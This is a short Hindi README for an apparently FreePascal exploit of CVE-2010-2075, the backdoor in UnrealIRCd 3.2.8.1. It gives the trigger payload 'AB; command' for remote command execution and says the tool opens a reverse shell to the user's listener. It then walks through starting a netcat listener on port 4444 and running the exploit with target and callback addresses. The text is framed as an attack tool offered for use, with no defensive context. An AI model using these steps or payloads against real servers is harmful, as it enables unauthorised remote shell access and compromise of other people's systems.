CVE-2010-2075

CVE-2010-2075 का FreePascal कार्यान्वयन

भेद्यता

UnrealIRCd 3.2.8.1

किसी भी सुनने वाली सेवा पर "AB; command" भेजकर RCE। आपके द्वारा भेजा गया कोई भी कमांड उसी उपयोगकर्ता द्वारा निष्पादित किया जाता है जिसके रूप में UnrealIRCD चलता है।

यह कार्यान्वयन आपके लिसनर पर एक रिवर्स शेल लॉन्च करता है।

चरण 1

एक लिसनर शुरू करें, जैसे netcat -lvp 4444

चरण 2

एक्सप्लॉइट चलाएं ./exploit <target ip> <target port> <host ip> <host port> जहां होस्ट आईपी और पोर्ट वह है जहां आपका लिसनर चल रहा है।

आवश्यकताएँ

Synapse। यदि आपके पास नहीं है, तो OPM के माध्यम से इंस्टॉल करें।